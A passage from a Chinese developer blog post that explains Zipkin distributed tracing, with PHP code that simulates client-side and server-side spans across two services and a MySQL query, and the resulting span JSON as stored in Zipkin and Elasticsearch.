            "value" => "sr"
        ],
 
    ],
    "tags" => [
        "queryParams" => "a=1&b=2&c=3",
    ]
];

traceid和id(span id)被分配出来,前者标识整个调用链,后者标识浏览器到a.service.com之间的RPC。

name是当前的接口名或者说RPC方法名。

kind设置SERVER表示这是一个server-side span,上报span时需要在annotaions中包含sr和ss。

timestamp是创建span的时间,它的意义没有sr重要,但是可以作为一些参考(比如创建span对象和生成sr的annotation之间差了很多时间,是不是程序卡在什么地方?)。

localEndPoint标明这个span的来源,也就是a.service.com上报的,它是SERVER,是被调用方的地址。

tags也就是binary annotations,是一种k-v模型的业务自定义信息,它用来额外的描述这条span的信息,这里我将这次调用的GET参数放在了queryParams里,方便追查问题时候可以看到请求参数。

注意,现在server-side span1只是刚刚建立(只有sr),等所有逻辑处理完成后才能标记ss,然后上报zipkin。

span2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
复制代码// 模拟调用b.service.com
function rpcToB($traceId, $parentSpanId) {
    // 生成rpc的spanId
    $spanId = idAlloc();
 
    // 假设a.service.com发起了一个rpc调用b.service.com
    // 那么它将生成client-side span
    $csTimestamp = timestamp();
    $span2 = [
        "traceId" => $traceId,
        'id' => $spanId,
        'parentId' => $parentSpanId,
        "name" => "/method_of_b",
        "kind" => "CLIENT",
        "timestamp" => timestamp(),
        "duration" => 0,
        "debug" => true,
        "shared" => false,
        "localEndpoint" => [
            "serviceName" => "a.service.com",
            "ipv4" => "192.168.1.100",
            "port" => 80,
        ],
        "annotations" => [
            [
                "timestamp" => $csTimestamp, // 发起b.service.com调用的时间
                "value" => "cs"
            ],
        ],
        "tags" => [
            "queryParams" => "e=1&f=2&g=3",
        ]
    ];
 
    // 在rpc请求中将traceId,parentSpanId,spanId都带给了b.service.com
    // http.call("b.service.com/method_of_b?e=1&f=2&g=3", [$traceId, $parentSpanId, $spanId])
 
    // 假设b.service.com收到请求后这样处理
    {
        $b_srTimestamp = timestamp();
        $span3 = [
            "traceId" => $traceId,
            'id' => $spanId,
            'parentId' => $parentSpanId,
            "name" => "/method_of_b",
            "kind" => "SERVER",
            "timestamp" => $b_srTimestamp,
            "duration" => 0,
            "debug" => true,
            "shared" => true,
            "localEndpoint" => [
                "serviceName" => "b.service.com",
                "ipv4" => "192.168.1.200",
                "port" => 80,
            ],
            "annotations" => [
                [
                    "timestamp" => $b_srTimestamp, // 收到a.service.com请求的时间
                    "value" => "sr"
                ],
            ],
        ];
        // 经过200毫秒处理
        usleep(200 * 1000);
        $b_ssTimestamp = timestamp();
        $span3['annotations'][] = [
            "timestamp" => $b_ssTimestamp, // 应答a.service.com的时间
            "value" => "ss"
        ];
        $span3['duration'] = $b_ssTimestamp - $b_srTimestamp;
        postSpans([$span3]);
    }
 
    // a.service.com收到应答, 记录cr时间点, duration
    $crTimestamp = timestamp();
    $span2['annotations'][] = [
        "timestamp" => $crTimestamp, // 收到b.service.com应答的时间
        'value' => "cr"
    ];
    $span2['duration'] = $crTimestamp - $csTimestamp;
    global $spans;
    $spans[] = $span2;
}
rpcToB($span1['traceId'], $span1['id']);

接下来要调用b.service.com,这是一个新的RPC,所以需要一个新的span,所以分配了新的spanid代表这次RPC,它的父亲RPC是span1,也就是浏览器->a.service.com这个调用。

在a.service.com中需要为这个span生成client-side信息(保存在变量$span2中),主要是指cs和cr。而在b.service.com收到请求后会为这个span生成server-side信息(保存在变量$span3中),$span2和$span3分别上报到zipkin后会被聚合到一起完整的描述这次的span。(注:这里$span2和$span3只是变量名,它们属于同一个span)

对于a.service.com来说,timestamp=cs,duration=cr-cs。

对于b.service.com来说,timestamp=sr,duration=ss-sr。

而cr与ss之间,cs与sr之间的差值,能描述出网络上的传输时间。

b.service.com收到请求后并没有发起对其他系统的调用,所以最后只postSpans上传了这一个server-side span信息。

a.service.com收到应答后还会继续向下执行其他调用,所以client-side span信息只是保存到数组里,等待最后批量发给zipkin。

特别注意,因为client-side和server-side都是在为同一个span贡献信息,所以两端上报的traceId,spanId,parentSpanId都是一样的,描述的都是这个span(RPC)的信息,尤其是parentSpanId,它代表这个RPC的上一级RPC,所以client-side和server-side都是一样的值,对dapper理论理解不深很容易产生误解。

实际上在zipkin最新V2版本的API(也就是我用的API)中,不再要求在annotations中上传cs,cr,sr,ss。而是通过kind标记是server-side span还是client-side span,两端记录自己的timestap来取代cs和sr,记录duration来取代cr和ss,可以实现完全一样的效果,好处是kind,timestamp,duration比annotation打点的方法更容易检索和筛选。

当kind=SERVER并且RPC携带了spanid而来,那么shared应该为true,表明被调用方和调用方共同贡献代表这个RPC的span信息,如果最终zipkin汇聚时发现shared=true的server-side span没有对应的client-side span,说明有上报丢失。

当kind=SERVER的情况下,RPC没有携带spanid而来,那么shared应该为false,表明RPC上游没有生成server-side span,这样zipkin不会认为上报存在丢失。

span4

接下来,a.service.com又调用了mysql执行SQL,但是mysql并不会处理span,所以会缺失server-side的span信息sr和ss。

但是a.service.com是可以生成cs和cr信息的,如果还是像之前一样只上报自己的locaEndpoint的话,在zipkin中其实是不知道本次调用了什么服务(因为server-side没有生成sr和ss,所以没有server-side的serviceName服务和address地址信息)。

好在zipkin其实是考虑到了这种情况,可以通过在client-side填写remoteEndPoint记录被调用方的服务名和地址,这样就不会因为server-side不记录localEndPoint而不知道被调用方的服务名称了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
复制代码// 模拟访问数据库
function queryDB($traceId, $parentSpanId) {
    // 生成数据库访问用的spanId
    $spanId = idAlloc();
 
    // 假设a.service.com查询数据库, 因为数据库无法埋点,所以只能生成client-side span
    $csTimestamp = timestamp();
    $span4 = [
        "traceId" => $traceId,
        'id' => $spanId,
        'parentId' => $parentSpanId,
        "name" => "mysql.user",
        "kind" => "CLIENT",
        "timestamp" => timestamp(),
        "duration" => 0,
        "debug" => true,
        "shared" => false,
        "localEndpoint" => [
            "serviceName" => "a.service.com",
            "ipv4" => "192.168.1.100",
            "port" => 80,
        ],
        "remoteEndpoint" => [
            "serviceName" => "mysql.service.com",
        ],
        "annotations" => [
            [
                "timestamp" => $csTimestamp, // 发起数据库查询的时间
                "value" => "cs"
            ],
        ],
        "tags" => [
            "sql" => "select * from user;",
        ]
    ];
 
    usleep(100 * 1000); // 模拟花费了100毫秒查询数据库
 
    // 得到数据库查询结果
    $crTimestamp = timestamp();
    $span4['annotations'][] = [
        "timestamp" => $crTimestamp, // 收到数据库结果的时间
        'value' => "cr"
    ];
    $span4['duration'] = $crTimestamp - $csTimestamp;
    global $spans;
    $spans[] = $span4;
}
queryDB($span1['traceId'], $span1['id']);

最后

当mysql查询完成后,可以将a.service.com中生成的所有span(3个)上报给zipkin。

在zipkin中可以查看这个调用链的底层数据(JSON格式),其内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
复制代码[
  {
    "traceId": "00055db10082961f",
    "id": "00055db100829627",
    "name": "/method_of_a",
    "timestamp": 1510389682705960,
    "duration": 369915,
    "annotations": [
      {
        "timestamp": 1510389682705960,
        "value": "sr",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      },
      {
        "timestamp": 1510389683075875,
        "value": "ss",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      }
    ],
    "binaryAnnotations": [
      {
        "key": "queryParams",
        "value": "a=1&b=2&c=3",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      }
    ],
    "debug": true
  },
  {
    "traceId": "00055db10082961f",
    "id": "00055db10082962d",
    "name": "/method_of_b",
    "parentId": "00055db100829627",
    "timestamp": 1510389682705966,
    "duration": 214131,
    "annotations": [
      {
        "timestamp": 1510389682705966,
        "value": "cs",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      },
      {
        "timestamp": 1510389682710925,
        "value": "sr",
        "endpoint": {
          "serviceName": "b.service.com",
          "ipv4": "192.168.1.200",
          "port": 80
        }
      },
      {
        "timestamp": 1510389682915137,
        "value": "ss",
        "endpoint": {
          "serviceName": "b.service.com",
          "ipv4": "192.168.1.200",
          "port": 80
        }
      },
      {
        "timestamp": 1510389682920097,
        "value": "cr",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      }
    ],
    "binaryAnnotations": [
      {
        "key": "queryParams",
        "value": "e=1&f=2&g=3",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      }
    ],
    "debug": true
  },
  {
    "traceId": "00055db10082961f",
    "id": "00055db10085dab8",
    "name": "mysql.user",
    "parentId": "00055db100829627",
    "timestamp": 1510389682920125,
    "duration": 105068,
    "annotations": [
      {
        "timestamp": 1510389682920125,
        "value": "cs",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      },
      {
        "timestamp": 1510389683025193,
        "value": "cr",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      }
    ],
    "binaryAnnotations": [
      {
        "key": "sa",
        "value": true,
        "endpoint": {
          "serviceName": "mysql.service.com"
        }
      },
      {
        "key": "sql",
        "value": "select * from user;",
        "endpoint": {
          "serviceName": "a.service.com",
          "ipv4": "192.168.1.100",
          "port": 80
        }
      }
    ],
    "debug": true
  }
]

一共有3个span记录,分别是:

  • id=00055db100829627:a.service.com被调用了method_of_a方法,因为调用方是浏览器,所以只有ss和sr。
  • id=00055db10082962d:b.service.com被调用了method_of_b方法,调用方是a.service.com,它贡献了cs和cr;被调用方贡献了sr和ss,每个annotation里的endpoint都是由我们上报时的localEndpoint标识的。
  • id=00055db10085dab8:a.service.com调用了mysql.user接口(类似于RPC方法名,这里是指Mysql的user数据库),因为数据库没有调用链能力,所以这里只有cs和cr,同时因为上报时提供了remoteEndpoint信息,所以zipkin在binaryAnnotation里保存了一个key=sa,其endpoint是对端地址mysql.service.com而不是a.service.com地址,从而在WEB UI中展示被调用方的名字。

结束

最后,点击第二行这个Span,可以看到a.service.com调用b.service.com的所有annotation描述信息:

补充

后续我让zipkin对接了ES,在ES中一个调用链的数据保存格式如下,可见其数据结构就是我们HTTP提交的原始模样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
复制代码[
      {
        "_index" : "zipkin:span-2017-11-12",
        "_type" : "span",
        "_id" : "AV-wXowio-47v8n2AYke",
        "_score" : 2.5389738,
        "_source" : {
          "traceId" : "00055dc8f14d83e5",
          "duration" : 220529,
          "localEndpoint" : {
            "serviceName" : "a.service.com",
            "ipv4" : "192.168.1.100",
            "port" : 80
          },
          "debug" : true,
          "timestamp_millis" : 1510492506784,
          "kind" : "CLIENT",
          "name" : "/method_of_b",
          "annotations" : [
            {
              "timestamp" : 1510492506784914,
              "value" : "cs"
            },
            {
              "timestamp" : 1510492507005443,
              "value" : "cr"
            }
          ],
          "id" : "00055dc8f14d8492",
          "parentId" : "00055dc8f14d848e",
          "timestamp" : 1510492506784916,
          "tags" : {
            "queryParams" : "e=1&f=2&g=3"
          }
        }
      },
      {
        "_index" : "zipkin:span-2017-11-12",
        "_type" : "span",
        "_id" : "AV-wXowio-47v8n2AYkf",
        "_score" : 1.6739764,
        "_source" : {
          "traceId" : "00055dc8f14d83e5",
          "debug" : true,
          "timestamp_millis" : 1510492507005,
          "kind" : "CLIENT",
          "annotations" : [
            {
              "timestamp" : 1510492507005467,
              "value" : "cs"
            },
            {
              "timestamp" : 1510492507109695,
              "value" : "cr"
            }
          ],
          "parentId" : "00055dc8f14d848e",
          "tags" : {
            "sql" : "select * from user;"
          },
          "duration" : 104228,
          "remoteEndpoint" : {
            "serviceName" : "mysql.service.com"
          },
          "localEndpoint" : {
            "serviceName" : "a.service.com",
            "ipv4" : "192.168.1.100",
            "port" : 80
          },
          "name" : "mysql.user",
          "id" : "00055dc8f150e217",
          "timestamp" : 1510492507005467
        }
      },
      {
        "_index" : "zipkin:span-2017-11-12",
        "_type" : "span",
        "_id" : "AV-wXot9o-47v8n2AYkd",
        "_score" : 1.2809339,
        "_source" : {
          "traceId" : "00055dc8f14d83e5",
          "duration" : 205077,
          "shared" : true,
          "localEndpoint" : {
            "serviceName" : "b.service.com",
            "ipv4" : "192.168.1.200",
            "port" : 80
          },
          "debug" : true,
          "timestamp_millis" : 1510492506784,
          "kind" : "SERVER",
          "name" : "/method_of_b",
          "annotations" : [
            {
              "timestamp" : 1510492506784916,
              "value" : "sr"
            },
            {
              "timestamp" : 1510492506989993,
              "value" : "ss"
            }
          ],
          "id" : "00055dc8f14d8492",
          "parentId" : "00055dc8f14d848e",
          "timestamp" : 1510492506784916
        }
      },
      {
        "_index" : "zipkin:span-2017-11-12",
        "_type" : "span",
        "_id" : "AV-wXowio-47v8n2AYkg",
        "_score" : 1.2809339,
        "_source" : {
          "traceId" : "00055dc8f14d83e5",
          "duration" : 378788,
          "localEndpoint" : {
            "serviceName" : "a.service.com",
            "ipv4" : "192.168.1.100",
            "port" : 80
          },
          "debug" : true,
          "timestamp_millis" : 1510492506784,
          "kind" : "SERVER",
          "name" : "/method_of_a",
          "annotations" : [
            {
              "timestamp" : 1510492506784911,
              "value" : "sr"
            },
            {
              "timestamp" : 1510492507163522,
              "value" : "ss"
            }
          ],
          "id" : "00055dc8f14d848e",
          "timestamp" : 1510492506784911,
          "tags" : {
            "queryParams" : "a=1&b=2&c=3"
          }
        }
      }
    ]

zipkin使用B3协议在RPC两端传递span上下文,具体参考:github.com/openzipkin/…。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

1…392393394…399

开发者博客

3990 日志
1304 标签
RSS
© 2024 开发者博客
本站总访问量次
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4
0%